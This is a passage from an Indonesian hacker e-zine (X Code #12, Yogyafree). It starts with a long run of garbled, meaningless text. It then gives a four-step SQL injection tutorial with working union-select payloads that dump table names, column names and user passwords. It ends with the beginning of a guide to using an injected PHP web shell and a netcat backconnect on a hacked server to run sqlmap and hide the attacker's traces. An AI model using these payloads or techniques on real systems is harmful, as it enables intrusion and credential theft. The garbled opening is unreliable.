-50-
X Code | Issue #12
4. Penutup zzppQQRRAAAArrNNEExxFFxxttCCHHLLhhAATTqqXXYY WWvvvv WW vvvvppTTCC ppTTCCmm mmBBzz BBzznn nnKK KKll llzznn zznnee eeww ww99oo 99ooEEMMVVqqyyqqqqNNWWttEELLJJLLFFwwCCssYYCC EEMMVVqqyyqqqqNNWWttEELLJJLLFFwwCCssYYCC hhAArrWWVVQQEERRBBqqmmTTjjQQvvPPhhIIYYqq PPggyyeeqqZZAASS PPggyyeeqqZZAA SSttnnrr ttnnrrOO OOnn nnmmbb mmbbbb bbppKK ppKKLLll LLllssaauuCCyyssFFUUBBiiMMyyiibbKKGGKKnnTTrr ssaauuCCyyssFFUUBBiiMMyyiibbKKGGKKnnTTrr qqTTddKKqquukkddqqFFaaggwwaaNNQQccggllii SSDDCC99wwBB SSDDCC99ww BBVV VVoo ooZZ ZZPP PPTT TTrr rrQQ QQII IIVV VVKK KKAAssooQQssSSzzppUUccWWyyKKBBllWWxxJJFFrrzzDDQQRR AAssooQQssSSzzppUUccWWyyKKBBllWWxxJJFFrrzzDDQQRR ffttyyDDMMXXKKGGnn99YYvvllFFddllRRSSooccuu ccQQ cc QQRR RRTT TTLL LLCC CCCCSSEEqqNNhh CCSSEEqqNNhhff ffgg ggVV VVww wwRR RRJJ JJrruuXXyyFFIIjjqqXXYYffrrLLOO99ddPPDDVVggjj rruuXXyyFFIIjjqqXXYYffrrLLOO99ddPPDDVVggjj ccjjDDAAGGyyDDggFFvvAACCttaa aahhII hhIIyyVVjj yyVVjjII IIpp ppKK KKzz zzUU UUll llqqvv qqvvpp ppqq qqkk kkzz zzVV99 VV99MMCC MMCCSS SSOO OOFF FFOO OOuu uuNN NNyyVVaannMMBBkknnccyykkttDDrrbbNNQQHHNN yyVVaannMMBBkknnccyykkttDDrrbbNNQQHHNN UULLRRbbffttmmOOFFWWnnooppaaoo jjuu jj uuJJ JJCC CCaa aaFF FFjj jjuu uu99UU 99UUBB BB99DDVV 99DDVVGG GGNN NNPP PPYYii YYiihh hhQQ QQHH HHuu uu99 99hh hhWW WWZZ ZZLL LLrr rrOOSS OOSSFF FFvvLLffWWOOuuZZooPPeeaattgg vvLLffWWOOuuZZooPPeeaattgg uuMMssxxLLttvvyykkddGGDDEEkkll KKOO KK OOii iitt ttaa aakk kkxx xxhh hhVV VVOO OOaa aarr rrrr rrYY YYaa aaPPjj PPjjOO OOMM MMRR RRqqMM qqMMkk kkee eeZZ ZZXX XXLL LLPP PPII IIqq qqOOYYMMnnxxbbHHXXzzIIkkbbTTKKii OOYYMMnnxxbbHHXXzzIIkkbbTTKKii JJssllWWLLsstteeEEXX XXIIJJFF IIJJFFee eeBB BByy yyTT TTee eePP PPKK KKjj jjCCCC CCCCLLRR LLRREE99pp EE99ppmm mmff ffrr rrFF FFHH HHQQ QQooww oowwMM MMeevv eevvVV VVWW WWZZ ZZvv vvJJ JJZZ ZZgg ggBB BBEEuuttwwOOUUnnllXXBBllHHff EEuuttwwOOUUnnllXXBBllHHff aaMMssssGGiiddWWBBEEEEPPcc ccpp pppp pprr rrjj jjPPEE PPEEFF FF99RRii 99RRiimm mmNN NNffzzQQ ffzzQQgg ggNNgg NNgguu uuuu uu99 99nn nnll llKK KKffRR ffRRgg ggpp ppGG GGuu uuaa aaKK KKss ssee eeee eeii iiQQ QQHHtt HHttKKzzCCttNNoouuvv KKzzCCttNNoouuvv jjrrIIffccxxxxAAnnRRkk RRkkrr rrFF FFPP PPLL LLSS SSDD DDJJ JJRR RRss sshh hhBB BBCCkk CCkkcc ccnnHH nnHHss ssHHOO HHOOHHZZ HHZZgg ggZZPPss ZZPPssXXxx XXxxII IIiinn iinndd ddGG GGNN NNEE EEDD DDSS SSWW WWss ssmm mmOO OOJJNNiiLLxxjjqqAAJJ JJNNiiLLxxjjqqAAJJ BBNNGGZZWWEEQQTT TTXX99 XX99qq qqKK KK99 99kkAA kkAAss ssXX XXmm mmHH HHTT TTppjjll ppjjllEE EEff ffXX XXnn nneeAA eeAAPP PPKK KKIICCkk IICCkknn nnMM MMII IIxxBB xxBBhh hhSS SSMM MMJJ JJ99 99ss ssSS SSSS SSII IIii iijj jjxx xxffMMJJyyXXxxttUUCC ffMMJJyyXXxxttUUCC ttFFddwwAAWW ttFFddwwAA WWggNNzz ggNNzzcc ccWW WWZZ ZZii iiqq qqXX XXFF FFLL LLII IIee eeii iiuu uukk kkTT TTtt ttHH HHvv vvaarrCC aarrCCSS SSZZ ZZUUPP UUPPQQ QQvv vvCC CChh hhGGAA GGAANN NNCCVV CCVVTT TTWW WWRR RRDD DDGG GGmm mmuu uuxx xxHH HHOOxxFFmm OOxxFFmmFF FFLLxxmmvv LLxxmmvv ccBBNNFFyybbRRZZUU UUrr rrmm mmZZ ZZVV VVbb bbuu uuhh hhOO OOUU UUWWpp WWppuu uuNN NNbb bbppGG ppGGvv vvzz zzVV VVAAff AAffhh hhRR RRee eeGG GGFF FFdd ddss ssNN NNKK KKVV VViiWW iiWWeeBB eeBBgg ggCC CCqq qqYY YYqq qqcc ccUU UUmm mmTTWWYYKKWWSShhSS TTWWYYKKWWSShhSS IIoossXXyywwppEE EEMM MMQQ QQff ffff ffaa aahh hhUU UU99 99TT TTKK KKLL LLVV VVmmgg mmggmmGGppkkJJ mmGGppkkJJGG GGbbxxXX bbxxXXDD DDgg ggjj jjjjww jjwwWW WWSS SSuu uuVV VVpp ppxx xxvv vvPP PPkk kkRR RRyy yy99 99VV VVhh hhJJ JJuu uuAAeeOO AAeeOOZZ ZZkkrrIIuu kkrrIIuu oottYYjjggttyy yytt ttyy yyhh hhzz zzJJ JJHH HHgg ggll llUU UUzz zzxx xxkk kkzz zzMM MMZZ ZZcc ccZZ ZZFF FFLL LLLL LLWW WWWWNNJJXX WWNNJJXXOO OObb bbII IIii iiOO OOee eeOO OOTT TTXX XXvvkk vvkkjj jjtt ttss ssJJ JJvv vvOO OOzz zzRR RRii iibb bbRRWWyySSNNvvrr RRWWyySSNNvvrr vvnnMMxxNNhh vvnnMMxxNN hhTT TToo oomm mmqq qqaa aaff ffNN NNGG GGdd ddtt ttzz zzMM MMyy yyrr rrWW WWTTrr TTrrdd ddxx xxdd ddjj jjWW WWssHHRRGG ssHHRRGGFF FFii iiFF FFUU UUmm mmNNff NNffzz zz99 99zzNN zzNNkk kkhh hhTT TTNN NNTT TTjj jjAA AAII IIoo ooAA AAFF FFxx xxyy99xxVVOO yy99xxVVOO rrbbeebbttii rrbbeebbtt iibb bbPP PPrr rree eeww wwHH HHDD DDpp ppUU UUxx xxss ssOO OOEE EEddww ddwwPP PPzz zzpp ppooBB ooBBtt ttkk kkBB BBBB BB99LL 99LLoo oogg ggJJ JJOO OOqq qqtt ttdd ddnn nnTTFFFF TTFFFFuu uuFF FFtt ttPP PPZZ ZZEE EEHH HHzz zzbb bbaa aaxx xxbbRRUUrrVVUU bbRRUUrrVVUU WWffEEhhss WWffEEhh ssmm mmll llww wwtt ttww wwNN NNPP PPyy yyYY YYAA AAppOOgg ppOOggff99 ff99ll llqqNN qqNN99 99bb bbCC CCZZ ZZpp ppqq qqrr rrOO OOmm mmXX XXUU UUCC CCtt tttt ttBB BBLLBB LLBBttGGuu ttGGuuVV VVpp ppUU UUJJ JJss ssss ssGG GGKK KKll llcc ccAA AAss ssIIjjxxddii IIjjxxddii eeiippUUFF eeiippUU FFSS SSbb bbhh hhii iicc ccRR RRzz zzDD DDpp ppbbWW bbWWrr rryymmoo yymmoohh hh99 99MMSS MMSSEE EEQQ QQFF FFrryyIIWWHHMMRR rryyIIWWHHMMRRHH HHUU UUaaxxxx aaxxxxSS SSjjUUdd jjUUddWW WWkk kkll llLL LLHH HHww wwFF FFKK KKcc ccCC CCAA AAVV VVZZRRvvAAoo ZZRRvvAAoo KKZZ KK ZZ99 99UU UUbb bbKK KKKK KKYY YYuu uutt ttll llrr rrUU UUPPEE PPEERR RRLL LLUU UUQQ99 QQ99xx xxee eeLL LLmm mmdd ddzz zzee eeii iikkPPgg kkPPggee eeOO OOii iioo ooUU UUtt ttzz zzII IImm mmxxXXZZ xxXXZZaa aavv vvss ssjjII jjIIww wwQQ QQTT TTff ffii iicc ccSS SSjj jjYY YYii iizz zzcc cc ZZSSJJ ZZ SSJJII IIww wwuu uuII IIgg ggFF FFkk kkjj jjPP PPbb bbUU UUmm mmQQ QQQQ QQkk kkoollYYWW oollYYWW99 99llnn llnnMM MMpp ppbb bbEE EEnn nnzz zzzz zzpp ppee eeRR RRuu uuHH HHII IIHH HHHHttQQJJAAoo HHttQQJJAAooNN NNDD DDaa aaUU UUuu uuii iiBB BBaa aaXX XX99 99PP PPvvXXddHH vvXXddHH iiccQQll iiccQQ llrr rrcc ccbb bbOO OORR RRTT TTLL LLaa aaEE EEcc ccss ssTT TTIIuu IIuuAAss AAssee eePP PPBB BBzzrr zzrrPP PPNN NNXX XXZZ ZZJJ JJuu uuqq qqGGii GGiiWW WWjj jjppjj ppjjWWoo WWoovv vvkk kkff ffttPP ttPPbb bbuu uuff ffll llDD DDMM MMWW WWqq qqVV VVyy yyXX XXbb bbrr rrhh hhii ii BBxxbb BBxx bbyy yyTT TTdd ddaa aazz zzDD DD99 99BB BBkk kkrraa rraaNN NNFF FFFFKK FFKKyy yyUU UUddSS ddSSJJ JJDD DDjjddww jjddwwSS SSYY YYKK KKZZ ZZFF FFee eeff ff99ii 99iiZZ ZZtt ttOO OORR RRaavv aavvZZ ZZFF FFWW WWvvmm vvmmKK KKTT TTJJ JJSS SSuu uuEE EEmm mmSS SSll llAA AAkkllJJ kkllJJ VV99XXii VV99XX iipp ppII IISS SSYY YYXX XXLL LLll llJJ JJgg gghh hhqq qqGG GGtt ttZZ ZZMM MMEEhhEE EEhhEEKK KKGG GGrr rrYY YYyynn yynnpp ppEE EEDD DDLL LLUU UUBBjj BBjjqq qqcc ccZZEE ZZEEnnpp nnppkkqqRR kkqqRRTT TTpp ppWW WWww wwQQ QQDD DDee eehh hhGG GGXX XXBB BBbb bbQQ QQZZllJJ ZZllJJ kkSSSSxx kkSSSS xxOO OOtt ttnn nnmm mmKK KKAA AApp ppww wwGG GGUU UUNN NNCC CCVV VVOO OOuu uuiiDD iiDDjj jjzzCC zzCCPP PPvv vvCC CCmm mmYY YYZZ ZZuu uuzz zzGG GGNN NNOO OObbnn bbnnAA AAGGbb GGbbPP PPOO OOYYwwff YYwwffEE EEss ssAA AAii iiII IIRR RREE EEyy yyee ee99 99NN NNnn nnHHBBKK HHBBKK mmHHLL mmHH LLAA AAWW WWvv vv99 99oo ooee eeZZ ZZjj jjHH HHpp ppJJ JJkkyy kkyyZZ ZZEEdd EEddzz zzggdd ggddFF FFMM MMkk kkMMII MMIITT TTeecc eeccxx xxyy yyGG GGSS SSll llCC CCFF FFzzKK zzKKiidd iidd99 99SS SScc cctt ttLLbbrr LLbbrrrr rrff ffII IIYY YYBB BBZZ ZZHH HHii iikk kkkk kkaa aaFF FF PPmmdd PPmm ddOO OOBB BBmm mmvv vvQQ QQII IIzz zzEE EEEE EETTpp TTppBB BBCCtt CCtt99 99PPee PPeeAA AAVVXXGGhh VVXXGGhhOO OOooxx ooxxRR RRQQtt QQtthh hhTT TTmmss mmssMM MMDD DDEE EEoo ooTT TTZZ ZZTTuu TTuurr rrmm mmaa aaKK KKHH HHuu uuzz zzQQ QQqq qqAA AAJJ JJhh hhcc ccCC CCHH HHww wwZZ ZZ jjqq jj qqMM MMbb bbzz zzKK KKUU UUmm mmOO OOcc ccTT TTaa aamm mmFF FFZZ ZZVV VVii iiee eeMMyy MMyyvv vvllzz llzzHHrr HHrrii iiPP PPHH HHtt ttTTkk TTkkyy yyYY YYQQ QQbb bbNN NNJJff JJffII IISS SSwwuu wwuuNN NNhh hhvv vvQQ QQkk kkww wwbb bbTT TTuu uuee eeUU UURR RRCC CCAA AApp ppWW WWZZTT ZZTT uuSSff uuSS ffff ffLL LLKK KKLL LL99 99rr rrBB BBBB BBgg ggVV VVrr rrKK KKHH HHdd ddww wwJJ JJll99AArr ll99AArroo ooNNggKKII NNggKKIItt ttHHLL HHLLMM MMdd ddffJJTT ffJJTTZZ ZZDDYY DDYYpp ppggII ggIIkk kkzz zzxx xxKK KKOO OOOO OOhh hhLL LLLL LLii iiEE EEss sscc ccuu uuQQ QQww wwMMqq MMqq zzLL zz LLEE EEaa aaQQ QQYY YYYY YYgg ggZZ ZZaa aarr rruu uuBB BBBB BBcc ccxx xxNN NNXX XXaa aaLL LLnn nnii iiZZ ZZYY YYss ssww wwYYAA YYAAFF FFKK KKffAA ffAAZZ ZZKK KKgg ggoo ooBBiirr BBiirrVV VVuu uudd ddIIwwXX IIwwXXOO OOpp ppRR RRYY YYNN NNbb bbOO OOpp ppXX XXDD DDii iiww wwBB BBEE EEGG GG VVPP VV PPDD DDss sszz zzww wwWW WWEE EEBB BBmm mmAA AAFF FFAA AAoo ooQQyy QQyyjj jjGG GGGG GGpp ppmm mmeeSS99AA eeSS99AAyy yyvv vvjjcc jjccyy yyJJss JJssEE EEee eeGG GGkkiiwweeXXpp kkiiwweeXXppQQ QQuu uuGGaass GGaassii iikk kk99 99jj jjoo ooUU UUCC CCDD DDEE EEpp ppUU UUww wwDDgg DDgg llwwyy llww yyZZ ZZee eeRR RRRR RRxx xxqq qqyy yyvv vvkk kkCC CCYY YYAA AAjjPPRR jjPPRRCC CCcc ccvv vvFF FFggSS ggSSKK KKtt ttss ssKK KKhh hhgg ggaa aarr rrCC CCjj jjjj jjoo ooVV VVIIWWqq IIWWqq99 99AA AAZZ ZZGG GGyy yypp ppaa aaYY YYFF FFii iiii iiQQ QQCC CCZZ ZZXX XXUU UUCC CCdd ddyyoo yyoo EEllDD EEll DDXX XXKK KKhh hhrr rrDD DDtt ttQQ QQll llpp ppIIGG IIGGll llll llDD DDyy yyjj jjDD DDCC CCnn nnQQ QQXX XXqq qqJJ JJlloo lloorr rrZZ ZZOO OOUU UUss ss99bb 99bbTT TTjj jjZZ ZZXX XXWW WWhh hhss sskk kkTT TTLL LLxx xxJJ JJcc cczz zzPP PPjj jjpp pppp pprr rrMM MMdd ddLL LLYY YYII IIAA AA MMmmxx MMmm xxii iiII IIpp ppww wwff ffqq qqHH HHCC CCRR RRii iiii iiaa aaWW WWOOuuAAWW OOuuAAWWuu uuaa aaqq qqll llAA AAWWnn WWnnllddwwNNllII llddwwNNllIIee eedd ddcc ccLL LLff ffcc ccss ssJJ JJZZXXuu ZZXXuunn nnCC CCee eePP PPxx xxhh hhRR RRBB BBLL LLqq qqNN NNNN NNpp ppAA AAddff ddff NNllOO NNll OOnn nnnn nnpp ppNN NNkk kkXX XXXX XXLL LLjj jjAA AArrgg rrggSS SSMM MMGG GGFF FFee eeUU UUdd ddCC CCNN NNTT TTEE EEss ssFF FFmm mmgg ggSSTT SSTTMMXX MMXXJJ JJqq qqKK KKss ssll llxx xxkk kkqq qqOO OOww wwee eeqq qqVV VVZZ ZZff ffTT TTee eeNN NNFF FFOO OOBB BBEE EEjj jjEE EEbb bbYY YY ZZSSaacc ZZSSaa cccc cc99 99ee eePP PPqq qqLL LLoo oonn nnaa aaVV VVqq qqkk kkNN NNxx xxhh hhtt ttbb bbGG GGFF FFCC CCzzRR zzRRII IIaa aagg gggg ggSS SSUU UUss ssYY YYnn nnOO OOnn nnhh hhFF FFoo ooKK KKUU UUSScc SSccff ffjj jjee eeHH HHHH HHNN NNEE EEcc ccGG GGqq qqnn nnjj jjss sseeVVrr eeVVrr KKSSEE KKSS EEGG GGSS SSbb bbMM MM99 99DD DDXX XXVV VVWW WWQQ QQZZ ZZVVssJJ VVssJJAA AApp ppZZ ZZOO OOCC CCQQ QQWW WWAA AAjj jjww wwZZ ZZYY YYbb bbTT TTrrppBB rrppBBpp ppee eeJJ JJmm mmyy yykk kkii iihh hhyy yyii iivv vvWW WWCC CCii iivv vvOO OOXX XXXX XXJJ JJNN NNKK KKWW WWyy yyhhuuPP hhuuPP SSxxOOww SSxxOO wwnn nnrr rrXX XXQQ QQOO OOSS SSss ssQQ QQxx xxaa aaee eePPNN PPNNQQ QQAA AASS SSOO OOII IILL LLBB BBnn nnVV VVcc ccBB BBvv vvJJQQ JJQQNN NNuu uuDD DDoo ooMM MMVV VVkk kkkk kkdd ddjj jjQQ QQgg ggmm mmxx xxnn nnqq qqmm mmee eePP PPJJ JJMM MMii iiWW WWJJ JJSS SSHH HHvvkkxx vvkkxx bbuuCCMM bbuuCC MM99 99SS SSee eebb bbmm mmYY YYNN NNmm mmMM MMDD DDnn nnjjII jjIIff ffzz zzww wwdd ddww wwqq qqOO OOxx xxzz zzoo oommvv mmvvUUaa UUaaZZ ZZxx xxWW WWnn nnaa aajj jjNN NNGG GGWW WWII IIss ssoo ooFF FFGG GG99 99mm mmss ssff ffjj jjtt ttrr rrYY YYmm mmOO OOgg ggDD DDaaBBqq aaBBqq TTQQssyy TTQQss yyxx xxGG GGnn nnaa aamm mmll llGG GGRR RRff ffQQ QQ99 99kk kkss ss99 99ccff ccffGG GGXX XXtt ttKK KKJJ JJpp ppggAA ggAAHH HHTT TTKK KKAA AAkk kk99 99RR RRAA AABB BBDD DDoo ooddeeee ddeeeeCC CCkk kkSS SSdd ddDD DDff ffXX XXww wwJJ JJWW WWff ffmm mmYY YYUU UUggEEAAYY ggEEAAYY LLzz LL zzffFF ffFFDD DDCC CCrr rrNN NNjj jjpp ppSS SSzz zzxx xxNN NNSS SSKK KKkkCC kkCCAAjj AAjjrr rrRR RRHH HHOO OOqq qqww wwFF FFXX XXBB BBhh hhWW WWQQ QQBB BBII IIWW WWpp ppRR RRPP PPzz zzKKLL KKLLtt tt99 99FF FFdd ddDD DDBB BBWW WWgg ggff ffbb bbdd ddxx xxee eeYY YYZZ ZZaaRReePP aaRReePP llEETTggqqpp llEETTggqq ppee eeUU UUDD DDDD DDjj jjZZ ZZBB BBnn nnRR RRhh hhqq qqGG GGCC CCGG GGBB BBII IIGG GGLL LLQQ QQww wwVV VVpp ppRR RRBBbbDD BBbbDDEE EEjj jjQQ QQrr rrUU UUEE EEMM MMMM MMaa aaff ffdd dd99 99vv vvLL LLCC CCzz zzGG GGKK KKJJ JJJJ JJOO OOCC CCmm mmHHCCHHnnFF HHCCHHnnFF MMppNNZZssqq MMppNNZZss qqAA AAaa aaUU UUII IIdd ddmm mmgg gguu uuQQ QQWW WWpp ppll llCC CCtt ttKK KKDD DDvv vvww wwJJ JJuu uuii iidd ddqq qqYY YYAAPP AAPPmm mmhhYYPP hhYYPPAA AATT TTzzAA zzAAss ssXX XXBB BBaa aayy yyWW WWee eemm mmSS SSXX XXQQ QQrr rrjj jjnn nnnn nnss99HHssRR ss99HHssRR DDttAADDffbbll llCC CCww ww99 99YY YYzz zzyy yyaa aapp pppp ppmm mmxx xxBB BByy yymm mmbb bb99 99ww wwgg ggXX XXzz zzff ffii iiXXHHcc XXHHccVV VVCC CCCC CCff ffQQ QQmm mmllrr llrrAA AAZZ ZZbb bbcc ccII IIkk kkFF FFRR RRtt ttee eeSS SSuu uuZZ ZZHH HHff ffmm mmNNVVGGMM NNVVGGMM DDNNllppWWVVii iill llCC CCGG GGPP PPLL LLpp ppzz zzHH HHll llQQ QQqq qqss ssUU UUII IIoo oo99 99hh hhff ffUU UUbb bbII IIFF FFdd ddXX XXnn nnCC CCRR RRII IICC CCgg ggSS SSJJ JJgg ggHH HHJJ JJww wwWW WWpp ppKK KKuu uuWW WWLL LLvv vvss ssCC CCYY YYii iiggOO ggOOqqttQQFF qqttQQFF PPBBNNooHHRR PPBBNNooHH RRnn nnBB BBXX XXAA AAyy yybb bbvv vvnn nnJJ JJFF FFTT TTLL LLdd ddAA AAvv vvyy yyYY YYii iiZZ ZZRR RRzz zzQQ QQnn nnGGuuss GGuussKK KKYY YYTT TTee eett ttCC CCOO OOzz zzNN NNNN NNOO OOkk kkPP PPnn nnee eebb bbpp ppNN NNJJ JJaa aacc ccBB BBPP PPiiJJHH99hh iiJJHH99hh aaAABBQQddAAddXX XXqq qqOO OObb bbXX XX99 99FF FFMM MMGG GGqq qqyy yyLL LLii iioo ooRR RRFF FFff ffdd ddMM MMZZ ZZJJ JJHH HHHH HHII IIDD DDSS SSZZ ZZjj jjff ffXX XXaa aaII IIzz zzjj jjMM MMDD DDnn nnTT TTVV VVZZ ZZYY YYqq qqcc cctt ttff ffVV VVttUURROOttttnn ttUURROOttttnn oohhKKBBRRFFiiAA AAzz zzll llAA AAyy yyXX XXAA AAKK KKAA AAjj jjxx xxrr rrAA AAFF FFYY YYgg ggyy yyvv vvCC CCQQbb QQbbLL LLoo oogg ggtt tt99 99ii iiss sszz zzCC CCBB BBVV VVWW WWRR RRzz zzww wwhh hhYY YYnn nncc ccWW WWcc ccxx xxvv vvNN NN99 99dd ddnn nnggwwBBBBCC ggwwBBBBCC jjvvssrruuww jjvvssrruu wweeyyxx eeyyxxDD DD99 99nn nnDD DDPP PPLL LLtt tthh hhxx xxuu uuJJ JJvv vvvv vvee eerr rryy yyOO OOjj jj99 99ee eeKK KKtt ttmm mmZZ ZZDD DDmm mm99 99MM MMUU UUww wwTT TTCC CCoo ooHH HHxx xxMM MMii iiOO OOVV VVSS SSXX XXFF FFAABBpp AABBppLL LLAAiijjIIrr AAiijjIIrr xxWWhhSSffyyggzzoodd ooddtt ttKK KKgg ggUU UUKK KKZZ ZZNN NNrr rrxx xxBB BBZZ ZZ99 99AA AAWW WW99 99OO OOnn nnoo ooXX XXtt tthh hhFF FFnn nnoo oomm mmee eeCC CCBB BBbb bbZZ ZZll llCC CCkk kkvv vvii ii99 99jj jjHH HHEE EEXX XXrr rrddRRIInnbbxxbbbbnn ddRRIInnbbxxbbbbnn UUSStthhmmQQnnxxFF FFxx xxMM MMll llgg ggqq qqjj jjLL LLBB BBnn nnFF FFNN NNee eenn nnpp ppOO OOFF FFDD DDgg ggii iiEE EEXXll XXllZZ ZZZZ ZZoo ooPP PPNN NNZZ ZZEE EEee eeKK KKzz zzhh hhee eeJJ JJtt ttWW WWrr rrPP PPTT TTkkqqkkOOEELLUUaaccDDXX kkqqkkOOEELLUUaaccDDXX ooUUaaIIyyOOZZDDvv vvTT TTffNN ffNNdd ddyy yyFF FFvv vvww wwoo ooXX XXVV VVKK KKww wwhh hhpp ppkk kkuu uunn nnnn nnTT TTHHii HHiiTT TTbb bbjj jjNN NNkk kkjj jjXX XXGG GGOO OOZZ ZZii iiKK KKYY YYYY YYCC CCHH HHll llPPwwttMMbbJJddbbooLLPPVV PPwwttMMbbJJddbbooLLPPVV eeTTRRggffiiyyddmmvvccddmmuu mmuuPP PPNN NNzz zzKK KKbb bbzz zzQQ QQll llEE EEww wwoo ooPP PPcc ccff fftt ttJJ JJLL LLAA AATT TTcc cckk kkzz zzll llgg gg99 99bb bbhh hhJJ JJKK KKUU UUqq qqCC CCZZppffOOccTTXXUUllZZQQJJCCQQ ZZppffOOccTTXXUUllZZQQJJCCQQ uurrkkxxyyssyyzzyyeettHHXXFF FFyy yySS SSss ssoo ooMM MMTT TTAA AAnn nntt ttee eeff ffll llqq qqGG GGoo oovv vvbb bbww wwPP PPJJ JJII IIKK KKMM MMbb bbww wwYY YYll lldd ddxx xxll ll99 99UUZZ UUZZzz zzUUZZYY99RRKKooffvvKKVVyy UUZZYY99RRKKooffvvKKVVyy TTddnnBBuuBBNNLLRRMMUUSS SSJJNN JJNNAAVVYY AAVVYYtt ttyy yyUU UUZZ ZZBB BBrr rrBB BBHH HHcc ccJJ JJkk kkvv vvbbIILL bbIILLtt ttHH HHGG GGcc ccaa aagg ggyy yyGG GGaa aaXX XXVV VV99KKgg 99KKgg99 99uuVVWWddllCCddOOppzzRRiiJJ uuVVWWddllCCddOOppzzRRiiJJ TTjjHHGGGGAAAAQQssFFiiGGddYYooxxPPrruu ssDDRR ssDD RRXX XXII IICC CCSS SSnn nnZZ ZZpp ppVV VVgg ggww wwNN NNpp ppKK KKOO OODD DDDD DDqq qquu uuHH HHMM MMeejjvvMM eejjvvMMDD DDffKKCCvvOOIIxxFFkkAAnnXXZZ ffKKCCvvOOIIxxFFkkAAnnXXZZ aappiiqqJJ99xxxxkkttRRWWmmjjXXSSHHeeSSQQHH jjBB jj BBMM MMFF FFzz zzKK KKFF FFPPOO PPOORR RRff ffyy yyqq qq99 99AA AApp ppJJ JJzz zzCC CCPPqqddOOnnqqkkjjiirrnnHHKKppOOaaZZNNZZWW PPqqddOOnnqqkkjjiirrnnHHKKppOOaaZZNNZZWW DDjjUUPPmmuuIIaaDDXXyyVVccFFDDmmwwMMddAA kkMMAAxxLLnn kkMMAAxxLL nnii iiZZ ZZrr rrJJgg JJgg99 99RR RRKK KKQQ QQwwBBccvv wwBBccvvdd ddccttnnCCQQhhSSHHNNEENN99LLHHssUUJJssVVQQ ccttnnCCQQhhSSHHNNEENN99LLHHssUUJJssVVQQ VVqquuYYvvppggNNEEXXSSXXffzzMMjjzzQQYYYY ttxxccssHH ttxxcc ssHH99 99oo ooVVuu VVuugg ggEE EExx xxSS SSllXXMMjj llXXMMjjUUoo UUooBB BBBBeeJJPPUUCCSSQQCCXXkkeeJJddUUllGGddyyLL BBeeJJPPUUCCSSQQCCXXkkeeJJddUUllGGddyyLL uuRRjjqqttHHTTBBttWWbbEEkkbbDDkkLLggllNNaaKKGGnn WW99DDjjwwAAmmhhTTzzZZaallVVRR WW 99DDjjwwAAmmhhTTzzZZaallVVRR RRllppiiYYeeyyzzrrhhttnniibbqqBBaaXXNNRRll RR llppiiYYeeyyzzrrhhttnniibbqqBBaaXXNNRRll
Referensi : [1] CD Yogyafree
------- End of Voodoo -------
Yogyafree © 2009
-51-
X Code | Issue #12
Empat Langkah Mudah SQLinjection Penulis : Xshadow @ Yogyafree
B
erikut saya akan menerangkan SQLinjection dengan 4 langkah. Yang saya akan bahas disini bagaimana mencari/membaca table serta column dengan cepat… dengan query “group” Concept: 1. mencari nomor togel 2. membaca table 3. membaca column table 4. result teknik: 1. mencari nomor togel saya rasa rekan-rekan sudah tau cara mencari nomer togel… jadi tidak usah saya bahas disini… example: http://127.0.0.1/VULN.php?id=-199+union+select+1,2,3,4,5,6,7,8,9,10,11,12-dan diketahui nomer togelnya sebagai berikut:
2. membaca table berikut cara query “group” untuk membaca table query yang digunakan sebagai berikut: group_concat(table_name) code diatas dimasukkan di salah satu nomer togel dan dibelakang url ditambahkan emblem berikut untuk membaca table dalam database: +from+information_schema.tables+where+table_schema=database()-Example: http://127.0.0.1/VULN.php?id=-199+union+select+1,2,3,4 5, group_concat(table_name),7,8,9,10,11,12+from+information_schema.tables+where+tables_ch ema=database()--
dimana query diatas dimasukkan di nomer togel 6 kemudian munculah table database secara berurutan sebagai berikut:
Yogyafree © 2009
-52-
X Code | Issue #12
3. membaca column table setelah didapatkan nama table, kita akan membaca column dari table yang kita dapat dengan query sebagai berikut: group_concat(column_name)
dan emblem yang disertakan pada belakang url sebagai berikut ini: +from+information_schema.columns+where+table_name=CODE EQUIVALENT HEX VALUE Table Dimana “ CODE EQUIVALENT HEX VALUE Table” didapatkan dari convert “STRING EQUIVALENT HEX VALUE”
Dan saya biasa menggunakan tools berikut: http://xshadow-power.com/tools Dan pada gambar sebelumnya… table yang akan kit baca columnya adalah didapatkan dari hasil confert dari muser adalah 0x6D75736572
“muser”
dan telah
Example: http://127.0.0.1/VULN.php?id=-199+union+select+1,2,3,4 5, group_concat(column_name),7,8,9,10,11,12 +from+information_schema.columns+where+table_name=0x6D75736572-dan result yang didapatkan dari query ini sebagai berikut:
4. result setelah mendapatkan apa yang kita cari pada langkah 2 & 3 diatas… sa’atnya membaca ISI dari column dari table muser yaitu “ uid,pass” query yang digunakan sebagai berikut: concat_ws(nama column yang akan dibaca )
dan ditambahkan emblem dibelakang url sebagi berikut +from+nama column table yang akan dibaca -Example:
Yogyafree © 2009
-53-
X Code | Issue #12 http://127.0.0.1/VULN.php?id=-1107+union+select+1,2,3,4,5,concat_ws(0x3a,uid,pwd),7,8,9,10,11,12+from+muser -dan result dari yang kita baca diatas sebagai berikut:
Akhirnya selesai juga tutorialnya ☺ Sekian saja… terima kasih. Cacian, makian, saran, kritik mohon dilayangkan ke email berikut: admin[at]cukdus[dot]org Regard Xshadow No greetzz Only thanks to: Inc0mp13te, IndoUnderground, cyber_tomat, gblack, k0il, jack-, X-Code community, CukDu$ community, dan temen2 yang lupa namanya lom saya sebutkan hehehe…
Yogyafree © 2009
-54-
X Code | Issue #12
Menjalankan File Phyton Pada Hacked Server Sebagai Pengganti Penulis : Xshadow @ Yogyafree
B
erikut akan saya jabarkan bagaimana menjalankan file phyton yang menyertakan include proxy. Contoh file p hyton yang “mungkin” membutuhkan proxy sebagai “pelindung” kita adalah: schemafuzz, SQLmap, dll. Kelebihan: - menghemat kerja computer kita (tidak memakan proses comp uter untuk menjalankan software phyton) - mempercepat pengguna’an proxy (daripada membuat proxy dari shell… knapa tidak dijalankan saja pada server proxy tersebut t ersebut ☺ ) - tidak membutuhkan download serta install phyton pada computer kita (cocok digunakan untuk kita yang sering main di warnet) - bersih dan aman. (tinggal menutup jendela… sudah bersih log kita) Concept: - Dari sekian banyak server hosting (linux) yang menyertakan phyton sebagai pendukung server hosting, maka kita akan mencoba menggunakan phyton tersebut lewat pint u belakang. - Membuat backdoor dengan menjalankan backdoorhost atau backconection dengan media PHPshell c100/locus7 (disarankan memakai c100 / locus7 karena saya lebih cocok dengan PHPshell tersebut ☺ dan menyamakan dari tutorial ini) - Dengan menjalankan file schemafuzz/SQLmap pada hacked server, maka kita tidak lagi membutuhkan proxy sebagai tameng kita ☺ Bahan: - C100/locus7 yang sudah di inject di site hacked - Netcat windows (http://joncraton.org/files/nc111nt.zip) - Schemafuzz.py : 